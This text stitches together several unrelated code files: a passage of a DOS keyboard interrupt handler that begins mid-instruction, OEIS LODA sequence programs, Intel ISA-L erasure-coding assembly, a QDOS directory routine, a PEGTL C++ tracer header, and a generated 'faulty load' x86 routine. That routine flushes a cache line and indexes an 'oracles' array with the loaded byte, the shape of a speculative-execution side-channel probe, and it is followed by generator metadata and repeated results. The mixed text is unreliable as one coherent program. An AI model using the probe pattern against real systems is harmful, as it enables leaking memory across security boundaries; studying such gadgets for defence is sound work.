07Fh mov byte ptr [ eax+(0E0h*2+1) ], 07Fh jmp DontPassToBios ; If in debugger, pass control to dos interrupt. PassToBios: pop ds ; Nothing left on stack but flags pop edx pop ecx pop ebx pop eax sub esp, 8 ; Save space for IRETD frame push ds ; Save registers we use. push eax mov ax, DGROUP mov ds, ax ; Set DS to our data segment mov eax, org_int_off ; put original handler address mov [esp+8], eax ; in the IRETD frame movzx eax, org_int_sel mov [esp+12], eax pop eax ; Restore registers pop ds iretd ; Chain to previous handler pause_execution: in al, 61h ; Get current port 61h state or al, 10000000b ; Turn on bit 7 to signal clear keybrd out 61h, al ; Send to port and al, 01111111b ; Turn off bit 7 to signal break out 61h, al ; Send to port mov al, 20h ; Reset interrupt controller out 20h, al sti ; Reenable interrupts pop ds pop edx ; Restore all of the saved registers. pop ecx pop ebx pop eax sub esp, 8 ; Save space for IRETD frame push ds ; Save registers we use. push eax mov ax, DGROUP mov ds, ax ; Set DS to our data segment mov eax, org_int_off ; put original handler address mov [esp+8], eax ; in the IRETD frame movzx eax, org_int_sel mov [esp+12], eax pop eax ; Restore registers pop ds iretd ; Interrupt must return with IRETD DontPassToBios: ; Resets the keyboard, PIC, restores stack, returns. in al, 61h ; Get current port 61h state or al, 10000000b ; Turn on bit 7 to signal clear keybrd out 61h, al ; Send to port and al, 01111111b ; Turn off bit 7 to signal break out 61h, al ; Send to port mov al, 20h ; Reset interrupt controller out 20h, al sti ; Reenable interrupts pop ds pop edx ; Restore all of the saved registers. pop ecx pop ebx pop eax popfd iretd ; Interrupt must return with IRETD ;returns ah=bitmask of shift,ctrl,alt keys get_modifiers: push ecx xor ah,ah ; Check the shift keys mov cl, _keyd_pressed[ 036h ] or cl, _keyd_pressed[ 02ah ] or ah, cl ; Check the alt key mov cl, _keyd_pressed[ 038h ] or cl, _keyd_pressed[ 0b8h ] shl cl, 1 or ah, cl ; Check the ctrl key mov cl, _keyd_pressed[ 01dh ] or cl, _keyd_pressed[ 09dh ] shl cl, 2 or ah, cl pop ecx ret IFDEF DEBUG CheckForDebugger: ; Returns CF=0 if debugger isn't active ; CF=1 if debugger is active ;*************************** DEBUG ****************************** ; When we're in the VIDEO debugger, we want to pass control to ; the original interrupt. So, to tell if the debugger is active, ; I check if video page 1 is the active page since that is what ; page the debugger uses, and if that works, I check the top of ; the screen to see if the texxt "Control" is there, which should ; only be there when we're in the debugger. push eax ;mov eax, 0462h ; Address 0462 stores BIOS current page ;cmp BYTE PTR [eax], 1 ;jne NoDebuggerOnColor ;mov eax, 0b8000h+4096 ; 4096 = offset to 2nd video mem page ;cmp BYTE PTR [eax+2],'C' ;jne NoDebuggerOnColor ;cmp BYTE PTR [eax+4],'o' ;jne NoDebuggerOnColor ;cmp BYTE PTR [eax+6],'n' ;jne NoDebuggerOnColor ;cmp BYTE PTR [eax+8],'t' ;jne NoDebuggerOnColor ;cmp BYTE PTR [eax+10],'r' ;jne NoDebuggerOnColor ;cmp BYTE PTR [eax+12],'o' ;jne NoDebuggerOnColor ;cmp BYTE PTR [eax+14],'l' ;jne NoDebuggerOnColor ;jmp ActiveDebugger ;NoDebuggerOnColor: ; First, see if there is a mono debugger... ;mov eax, 0b0000h ; 4096 = offset to mono video mem ;cmp BYTE PTR [eax+2],'C' ;jne NoActiveDebugger ;cmp BYTE PTR [eax+4],'o' ;jne NoActiveDebugger ;cmp BYTE PTR [eax+6],'n' ;jne NoActiveDebugger ;cmp BYTE PTR [eax+8],'t' ;jne NoActiveDebugger ;cmp BYTE PTR [eax+10],'r' ;jne NoActiveDebugger ;cmp BYTE PTR [eax+12],'o' ;jne NoActiveDebugger ;cmp BYTE PTR [eax+14],'l' ;jne NoActiveDebugger mov eax, 0b0000h ; 4096 = offset to mono video mem add eax, 24*80*2 cmp BYTE PTR [eax+0],'D' jne NextTest cmp BYTE PTR [eax+2],'B' jne NextTest cmp BYTE PTR [eax+4],'G' jne NextTest cmp BYTE PTR [eax+6],'>' jne NextTest ;Found DBG>, so consider debugger active: jmp ActiveDebugger NextTest: cmp BYTE PTR [eax+14],'<' jne NextTest1 cmp BYTE PTR [eax+16],'i' jne NextTest1 cmp BYTE PTR [eax+18],'>' jne NextTest1 cmp BYTE PTR [eax+20],' ' jne NextTest1 cmp BYTE PTR [eax+22],'-' jne NextTest1 ; Found <i> - , so consider debugger active: jmp ActiveDebugger NextTest1: cmp BYTE PTR [eax+0], 200 jne NextTest2 cmp BYTE PTR [eax+2], 27 jne NextTest2 cmp BYTE PTR [eax+4], 17 jne NextTest2 ; Found either the help screen or view screen, so consider ; debugger active jmp ActiveDebugger NextTest2: ; Now we see if its active by looking for the "Executing..." ; text on the bottom of the mono screen ;mov eax, 0b0000h ; 4096 = offset to mono video mem ;add eax, 24*80*2 ;cmp BYTE PTR [eax+0],'E' ;je NoActiveDebugger ;cmp BYTE PTR [eax+2],'x' ;je NoActiveDebugger ;cmp BYTE PTR [eax+4],'e' ;je NoActiveDebugger ;cmp BYTE PTR [eax+6],'c' ;je NoActiveDebugger NoActiveDebugger: pop eax clc ret ActiveDebugger: pop eax stc ret ENDIF _TEXT ENDS END 
; A046727: Related to Pythagorean triples: alternate terms of A001652 and A046090. ; 0,3,21,119,697,4059,23661,137903,803761,4684659,27304197,159140519,927538921,5406093003,31509019101,183648021599,1070379110497,6238626641379,36361380737781,211929657785303,1235216565974041,7199369738058939,41961001862379597,244566641436218639,1425438846754932241,8308066439093374803,48422959787805316581,282229692287738524679,1644955193938625831497,9587501471344016464299,55880053634125472954301,325692820333408821261503,1898276868366327454614721,11063968389864555906426819 lpb $0 mov $1,$0 mov $0,0 seq $1,84159 ; Pell oblongs. lpe mov $0,$1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2015 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; gf_4vect_mad_avx(len, vec, vec_i, mul_array, src, dest); ;;; %include "reg_sizes.asm" %define PS 8 %ifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg0.w ecx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define arg4 r12 %define arg5 r15 %define tmp r11 %define tmp2 r10 %define tmp3 r13 %define return rax %define return.w eax %define stack_size 16*10 + 3*8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 sub rsp, stack_size movdqa [rsp+16*0],xmm6 movdqa [rsp+16*1],xmm7 movdqa [rsp+16*2],xmm8 movdqa [rsp+16*3],xmm9 movdqa [rsp+16*4],xmm10 movdqa [rsp+16*5],xmm11 movdqa [rsp+16*6],xmm12 movdqa [rsp+16*7],xmm13 movdqa [rsp+16*8],xmm14 movdqa [rsp+16*9],xmm15 save_reg r12, 10*16 + 0*8 save_reg r13, 10*16 + 1*8 save_reg r15, 10*16 + 2*8 end_prolog mov arg4, arg(4) mov arg5, arg(5) %endmacro %macro FUNC_RESTORE 0 movdqa xmm6, [rsp+16*0] movdqa xmm7, [rsp+16*1] movdqa xmm8, [rsp+16*2] movdqa xmm9, [rsp+16*3] movdqa xmm10, [rsp+16*4] movdqa xmm11, [rsp+16*5] movdqa xmm12, [rsp+16*6] movdqa xmm13, [rsp+16*7] movdqa xmm14, [rsp+16*8] movdqa xmm15, [rsp+16*9] mov r12, [rsp + 10*16 + 0*8] mov r13, [rsp + 10*16 + 1*8] mov r15, [rsp + 10*16 + 2*8] add rsp, stack_size %endmacro %elifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg0.w edi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp r11 %define tmp2 r10 %define tmp3 r12 %define return rax %define return.w eax %define func(x) x: %macro FUNC_SAVE 0 push r12 %endmacro %macro FUNC_RESTORE 0 pop r12 %endmacro %endif ;;; gf_4vect_mad_avx(len, vec, vec_i, mul_array, src, dest) %define len arg0 %define len.w arg0.w %define vec arg1 %define vec_i arg2 %define mul_array arg3 %define src arg4 %define dest1 arg5 %define pos return %define pos.w return.w %define dest2 mul_array %define dest3 tmp2 %define dest4 vec_i %ifndef EC_ALIGNED_ADDR ;;; Use Un-aligned load/store %define XLDR vmovdqu %define XSTR vmovdqu %else ;;; Use Non-temporal load/stor %ifdef NO_NT_LDST %define XLDR vmovdqa %define XSTR vmovdqa %else %define XLDR vmovntdqa %define XSTR vmovntdq %endif %endif default rel [bits 64] section .text %define xmask0f xmm15 %define xgft3_hi xmm14 %define xgft4_hi xmm13 %define xgft4_lo xmm12 %define x0 xmm0 %define xtmpa xmm1 %define xtmph1 xmm2 %define xtmpl1 xmm3 %define xtmph2 xmm4 %define xtmpl2 xmm5 %define xtmph3 xmm6 %define xtmpl3 xmm7 %define xtmph4 xmm8 %define xtmpl4 xmm9 %define xd1 xmm10 %define xd2 xmm11 %define xd3 xtmph1 %define xd4 xtmpl1 align 16 mk_global gf_4vect_mad_avx, function func(gf_4vect_mad_avx) FUNC_SAVE sub len, 16 jl .return_fail xor pos, pos vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte mov tmp, vec sal vec_i, 5 ;Multiply by 32 lea tmp3, [mul_array + vec_i] sal tmp, 6 ;Multiply by 64 vmovdqu xgft3_hi, [tmp3+tmp+16] ; " Cx{00}, Cx{10}, Cx{20}, ... , Cx{f0} sal vec, 5 ;Multiply by 32 add tmp, vec vmovdqu xgft4_lo, [tmp3+tmp] ;Load array Dx{00}, Dx{01}, Dx{02}, ... vmovdqu xgft4_hi, [tmp3+tmp+16] ; " Dx{00}, Dx{10}, Dx{20}, ... , Dx{f0} mov dest2, [dest1+PS] ; reuse mul_array mov dest3, [dest1+2*PS] mov dest4, [dest1+3*PS] ; reuse vec_i mov dest1, [dest1] .loop16: XLDR x0, [src+pos] ;Get next source vector vmovdqu xtmph1, [tmp3+16] ; " Ax{00}, Ax{10}, Ax{20}, ... , Ax{f0} vmovdqu xtmpl1, [tmp3] ;Load array Ax{00}, Ax{01}, Ax{02}, ... vmovdqu xtmph2, [tmp3+vec+16] ; " Bx{00}, Bx{10}, Bx{20}, ... , Bx{f0} vmovdqu xtmpl2, [tmp3+vec] ;Load array Bx{00}, Bx{01}, Bx{02}, ... vmovdqu xtmpl3, [tmp3+2*vec] ;Load array Cx{00}, Cx{01}, Cx{02}, ... XLDR xd1, [dest1+pos] ;Get next dest vector XLDR xd2, [dest2+pos] ;Get next dest vector vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 ; dest1 vpshufb xtmph1, xtmph1, x0 ;Lookup mul table of high nibble vpshufb xtmpl1, xtmpl1, xtmpa ;Lookup mul table of low nibble vpxor xtmph1, xtmph1, xtmpl1 ;GF add high and low partials vpxor xd1, xd1, xtmph1 XLDR xd3, [dest3+pos] ;Reuse xtmph1, Get next dest vector XLDR xd4, [dest4+pos] ;Reuse xtmpl1, Get next dest vector ; dest2 vpshufb xtmph2, xtmph2, x0 ;Lookup mul table of high nibble vpshufb xtmpl2, xtmpl2, xtmpa ;Lookup mul table of low nibble vpxor xtmph2, xtmph2, xtmpl2 ;GF add high and low partials vpxor xd2, xd2, xtmph2 ; dest3 vpshufb xtmph3, xgft3_hi, x0 ;Lookup mul table of high nibble vpshufb xtmpl3, xtmpl3, xtmpa ;Lookup mul table of low nibble vpxor xtmph3, xtmph3, xtmpl3 ;GF add high and low partials vpxor xd3, xd3, xtmph3 ; dest4 vpshufb xtmph4, xgft4_hi, x0 ;Lookup mul table of high nibble vpshufb xtmpl4, xgft4_lo, xtmpa ;Lookup mul table of low nibble vpxor xtmph4, xtmph4, xtmpl4 ;GF add high and low partials vpxor xd4, xd4, xtmph4 XSTR [dest1+pos], xd1 ;Store result XSTR [dest2+pos], xd2 ;Store result XSTR [dest3+pos], xd3 ;Store result XSTR [dest4+pos], xd4 ;Store result add pos, 16 ;Loop on 16 bytes at a time cmp pos, len jle .loop16 lea tmp, [len + 16] cmp pos, tmp je .return_pass .lessthan16: ;; Tail len ;; Do one more overlap pass mov tmp, len ;Overlapped offset length-16 XLDR x0, [src+tmp] ;Get next source vector vmovdqu xtmph1, [tmp3+16] ; " Ax{00}, Ax{10}, Ax{20}, ... , Ax{f0} vmovdqu xtmpl1, [tmp3] ;Load array Ax{00}, Ax{01}, Ax{02}, ... vmovdqu xtmph2, [tmp3+vec+16] ; " Bx{00}, Bx{10}, Bx{20}, ... , Bx{f0} vmovdqu xtmpl2, [tmp3+vec] ;Load array Bx{00}, Bx{01}, Bx{02}, ... vmovdqu xtmpl3, [tmp3+2*vec] ;Load array Cx{00}, Cx{01}, Cx{02}, ... XLDR xd1, [dest1+tmp] ;Get next dest vector XLDR xd2, [dest2+tmp] ;Get next dest vector XLDR xtmph4, [dest3+tmp] ;Get next dest vector sub len, pos vmovdqa xtmpl4, [constip16] ;Load const of i + 16 vpinsrb xtmph3, xtmph3, len.w, 15 vpshufb xtmph3, xtmph3, xmask0f ;Broadcast len to all bytes vpcmpgtb xtmph3, xtmph3, xtmpl4 XLDR xtmpl4, [dest4+tmp] ;Get next dest vector vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 ; dest1 vpshufb xtmph1, xtmph1, x0 ;Lookup mul table of high nibble vpshufb xtmpl1, xtmpl1, xtmpa ;Lookup mul table of low nibble vpxor xtmph1, xtmph1, xtmpl1 ;GF add high and low partials vpand xtmph1, xtmph1, xtmph3 vpxor xd1, xd1, xtmph1 ; dest2 vpshufb xtmph2, xtmph2, x0 ;Lookup mul table of high nibble vpshufb xtmpl2, xtmpl2, xtmpa ;Lookup mul table of low nibble vpxor xtmph2, xtmph2, xtmpl2 ;GF add high and low partials vpand xtmph2, xtmph2, xtmph3 vpxor xd2, xd2, xtmph2 ; dest3 vpshufb xgft3_hi, xgft3_hi, x0 ;Lookup mul table of high nibble vpshufb xtmpl3, xtmpl3, xtmpa ;Lookup mul table of low nibble vpxor xgft3_hi, xgft3_hi, xtmpl3 ;GF add high and low partials vpand xgft3_hi, xgft3_hi, xtmph3 vpxor xtmph4, xtmph4, xgft3_hi ; dest4 vpshufb xgft4_hi, xgft4_hi, x0 ;Lookup mul table of high nibble vpshufb xgft4_lo, xgft4_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft4_hi, xgft4_hi, xgft4_lo ;GF add high and low partials vpand xgft4_hi, xgft4_hi, xtmph3 vpxor xtmpl4, xtmpl4, xgft4_hi XSTR [dest1+tmp], xd1 ;Store result XSTR [dest2+tmp], xd2 ;Store result XSTR [dest3+tmp], xtmph4 ;Store result XSTR [dest4+tmp], xtmpl4 ;Store result .return_pass: mov return, 0 FUNC_RESTORE ret .return_fail: mov return, 1 FUNC_RESTORE ret endproc_frame section .data align 16 mask0f: dq 0x0f0f0f0f0f0f0f0f, 0x0f0f0f0f0f0f0f0f constip16: dq 0xf8f9fafbfcfdfeff, 0xf0f1f2f3f4f5f6f7 ;;; func core, ver, snum slversion gf_4vect_mad_avx, 02, 01, 020a
; A080031: a(n) is taken to be the smallest positive integer not already present which is consistent with the condition "n is a member of the sequence if and only if a(n) is congruent to 2 mod 3". ; 1,2,5,4,8,11,7,14,17,10,20,23,13,26,29,16,32,35,19,38,41,22,44,47,25,50,53,28,56,59,31,62,65,34,68,71,37,74,77,40,80,83,43,86,89,46,92,95,49,98,101,52,104,107,55,110,113,58,116,119,61,122,125,64,128,131,67 mov $2,$0 mov $3,$0 sub $3,1 mov $5,$0 lpb $3,1 lpb $0,1 sub $0,1 mov $3,$2 add $3,$0 trn $0,2 lpe mov $1,2 add $3,$4 add $4,3 add $6,3 sub $3,$6 add $1,$3 add $4,4 lpe lpb $5,1 add $1,1 sub $5,1 lpe add $1,1
; create a directory array include win1_mac_oli include win1_keys_hdr include win1_keys_qdos_io include win1_keys_qdos_ioa section utility xdef ut_dirar ;+++ ; create a directory array ; ; Entry Exit ; d1.w file types (bits) ; bit 0 (1) data ; bit 1 (2) exec ; bit 2 (4) reloc ; bit 3 (8) loader reloc ; bit 7 (128) directory ; d2.b 0 full names, 1 short ; d3.b 0 no type info, 1 add info ; a0 ptr to directory name array descriptor ; a1 ptr to subdir buffer (or 0) preserved ; ; errors: ioss, imem ; cc set ;--- chid equ 0 l directory channel id subd equ 4 w subdirectory name length buff equ 6 40 bytes string buffer type equ 46 w file types name equ 48 b name length info equ 49 b type info hdr equ 50 64 bytes header buffer buff2 equ 114 more buffer ut_dirar subr a1-a3/d1-d4 bsr alloc ; allocate workspace bne.s exit ; oops, imem... move.w d1,type(a3) ; set type para move.b d2,name(a3) move.b d3,info(a3) bsr opendir ; open directory bne.s bye ; problems..? move.l a0,chid(a3) ; store channel id move.l a1,d0 bne.s sdir_ok lea subd(a3),a1 sdir_ok xjsr ut_fname ; get real subdirectory name bne.s xclos move.w (a1),subd(a3) ; no subdir name found.. beq.s lenok ; length is ok move.w (a1),d0 cmpi.b #'_',1(a1,d0.w) beq.s lenok addq.w #1,subd(a3) ; take care of underscore lenok lea scan,a1 ; count and copy routine moveq #-1,d1 ; nr of entries is unknown xjsr ut_mk2sa ; make 2 dim strg array xclos bsr close bye bsr release ; release workspace exit tst.l d0 subend ; ; count and copy routine scan subr d1/d3/a0-a3 tst.l d0 beq.s copy bsr.s entry bne.s scan_exit move.w buff(a3),d2 addq.w #2,d2 scan_exit subend copy tst.w d1 bne.s copy_skip move.l a0,-(sp) move.l chid(a3),a0 xjsr ut_rewind move.l (sp)+,a0 copy_skip bsr.s entry bne.s scan_exit lea buff(a3),a1 xjsr ut_cpyst bra.s scan_exit entry subr a0-a3/d1-d3 move.l chid(a3),a0 ; channel id ent_lp lea hdr(a3),a1 ; buffer moveq #64,d2 ; length xjsr ut_inmul ; read 64 bytes from channel bne.s ent_exit adda.w #2,a1 ; adjust buffer tst.l hdr_flen(a1) ; was file deleted? beq.s ent_lp ; read next entry move.b hdr_type(a1),d1 ; get file type bsr.s chk_type ; check if filetype is allowed bne.s ent_lp ; no.. read next entry bsr.s do_info bsr.s do_name moveq #0,d0 ent_exit subend do_name subr a0/a1/a2 tst.b name(a3) bne.s short lea hdr_name(a1),a1 nam_app lea buff(a3),a0 xjsr st_appst subend short lea hdr_name(a1),a0 lea buff2(a3),a2 suba.l a1,a1 move.w subd(a3),d1 xjsr st_splta move.l a2,a1 bra.s nam_app do_info clr.w buff(a3) ; no string in buffer cmpi.b #hdrt.dir,d1 ; type dir beq.s inf_dir ; always mark directory tst.b info(a3) ; info requested beq.s inf_exit ; no... move.w #2,buff(a3) ; 2 character strings mulu #2,d1 move.w inf_tab(pc,d1.w),buff+2(a3) inf_exit rts inf_dir move.l #$00023e20,buff(a3) ; directory marker rts inf_tab dc.w ' E r l ' chk_type subr d1 move.w type(a3),d0 cmpi.b #hdrt.dir,d1 ; was it a directory? beq.s chk_dir btst d1,d0 ; test for filetype beq.s chk_no ; bit not set.. not allowed bra.s chk_ok chk_dir btst #7,d0 ; directories allowed? beq.s chk_no ; bit not set.. not allowed chk_ok moveq #0,d0 bra.s chk_exit chk_no moveq #-1,d0 chk_exit subend opendir subr d3 moveq #ioa.kdir,d3 ; try to open directory xjsr do_open subend alloc subr d1/a0 move.l #512,d1 xjsr ut_alchp move.l a0,a3 tst.l d0 subend release subr a0 move.l a3,a0 xjsr ut_rechp subend close subr a0 move.l chid(a3),a0 xjsr do_close subend end
// Copyright (c) 2014-2019 Dr. Colin Hirsch and Daniel Frey // Please see LICENSE for license or visit https://github.com/taocpp/PEGTL/ #ifndef TAO_PEGTL_CONTRIB_TRACER_HPP #define TAO_PEGTL_CONTRIB_TRACER_HPP #include <cassert> #include <iomanip> #include <iostream> #include <utility> #include <vector> #include "../config.hpp" #include "../normal.hpp" #include "../internal/demangle.hpp" namespace tao { namespace TAO_PEGTL_NAMESPACE { namespace internal { template< typename Input > void print_current( const Input& in ) { if( in.empty() ) { std::cerr << "<eof>"; } else { const auto c = in.peek_byte(); switch( c ) { case 0: std::cerr << "<nul> = "; break; case 9: std::cerr << "<ht> = "; break; case 10: std::cerr << "<lf> = "; break; case 13: std::cerr << "<cr> = "; break; default: if( isprint( c ) ) { std::cerr << '\'' << c << "' = "; } } std::cerr << "(char)" << unsigned( c ); } } } // namespace internal struct trace_state { unsigned rule = 0; unsigned line = 0; std::vector< unsigned > stack; }; template< typename Rule > struct tracer : normal< Rule > { template< typename Input, typename... States > static void start( const Input& in, States&&... /*unused*/ ) { std::cerr << in.position() << " start " << internal::demangle< Rule >() << "; current "; print_current( in ); std::cerr << std::endl; } template< typename Input > static void start( const Input& in, trace_state& ts ) { std::cerr << std::setw( 6 ) << ++ts.line << " " << std::setw( 6 ) << ++ts.rule << " "; start( in ); ts.stack.push_back( ts.rule ); } template< typename Input, typename... States > static void success( const Input& in, States&&... /*unused*/ ) { std::cerr << in.position() << " success " << internal::demangle< Rule >() << "; next "; print_current( in ); std::cerr << std::endl; } template< typename Input > static void success( const Input& in, trace_state& ts ) { assert( !ts.stack.empty() ); std::cerr << std::setw( 6 ) << ++ts.line << " " << std::setw( 6 ) << ts.stack.back() << " "; success( in ); ts.stack.pop_back(); } template< typename Input, typename... States > static void failure( const Input& in, States&&... /*unused*/ ) { std::cerr << in.position() << " failure " << internal::demangle< Rule >() << std::endl; } template< typename Input > static void failure( const Input& in, trace_state& ts ) { assert( !ts.stack.empty() ); std::cerr << std::setw( 6 ) << ++ts.line << " " << std::setw( 6 ) << ts.stack.back() << " "; failure( in ); ts.stack.pop_back(); } template< template< typename... > class Action, typename Input, typename... States > static auto apply0( const Input& /*unused*/, States&&... st ) { std::cerr << "apply0 " << internal::demangle< Action< Rule > >() << std::endl; return Action< Rule >::apply0( st... ); } template< template< typename... > class Action, typename Input, typename... States > static auto apply0( const Input& /*unused*/, trace_state& ts, States&&... st ) { std::cerr << std::setw( 6 ) << ++ts.line << " " << internal::demangle< Action< Rule > >() << "::apply0()" << std::endl; return Action< Rule >::apply0( ts, st... ); } template< template< typename... > class Action, typename Iterator, typename Input, typename... States > static auto apply( const Iterator& begin, const Input& in, States&&... st ) { std::cerr << "apply " << internal::demangle< Action< Rule > >() << std::endl; using action_t = typename Input::action_t; const action_t action_input( begin, in ); return Action< Rule >::apply( action_input, st... ); } template< template< typename... > class Action, typename Iterator, typename Input, typename... States > static auto apply( const Iterator& begin, const Input& in, trace_state& ts, States&&... st ) { std::cerr << std::setw( 6 ) << ++ts.line << " " << internal::demangle< Action< Rule > >() << "::apply()" << std::endl; using action_t = typename Input::action_t; const action_t action_input( begin, in ); return Action< Rule >::apply( action_input, ts, st... ); } }; } // namespace TAO_PEGTL_NAMESPACE } // namespace tao #endif
; A033160: Begins with (2, 4); avoids 3-term arithmetic progressions. ; 2,4,5,7,11,13,14,16,29,31,32,34,38,40,41,43,83,85,86,88,92,94,95,97,110,112,113,115,119,121,122,124,245,247,248,250,254,256,257,259,272,274,275,277,281,283,284,286,326,328,329,331,335,337,338,340,353,355,356,358,362 cal $0,191106 ; Increasing sequence generated by these rules: a(1)=1, and if x is in a then 3x-2 and 3x are in a. sub $0,1 add $1,$0 mod $1,3 add $1,$0 div $1,2 add $1,2
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %rcx push %rdi push %rdx lea addresses_WT_ht+0x16b20, %r8 nop nop nop nop nop cmp %rdx, %rdx movups (%r8), %xmm6 vpextrq $1, %xmm6, %r15 nop nop nop xor %rcx, %rcx lea addresses_WC_ht+0x1e90, %r8 add $18638, %rdi vmovups (%r8), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rdx nop nop nop sub $47044, %rdi lea addresses_UC_ht+0x14b70, %rdi nop add $63853, %r10 mov $0x6162636465666768, %r15 movq %r15, %xmm3 movups %xmm3, (%rdi) nop nop sub $28731, %r15 lea addresses_normal_ht+0xf200, %r8 nop nop xor $20240, %rdi movups (%r8), %xmm0 vpextrq $1, %xmm0, %rdx nop nop nop nop nop dec %r15 pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rax push %rbx push %rdx push %rsi // Store lea addresses_A+0x2370, %rbx xor $10694, %rax movb $0x51, (%rbx) nop nop nop nop add $17470, %rax // Faulty Load lea addresses_A+0x2370, %rsi clflush (%rsi) add $19108, %rdx mov (%rsi), %r12d lea oracles, %rsi and $0xff, %r12 shlq $12, %r12 mov (%rsi,%r12,1), %r12 pop %rsi pop %rdx pop %rbx pop %rax pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 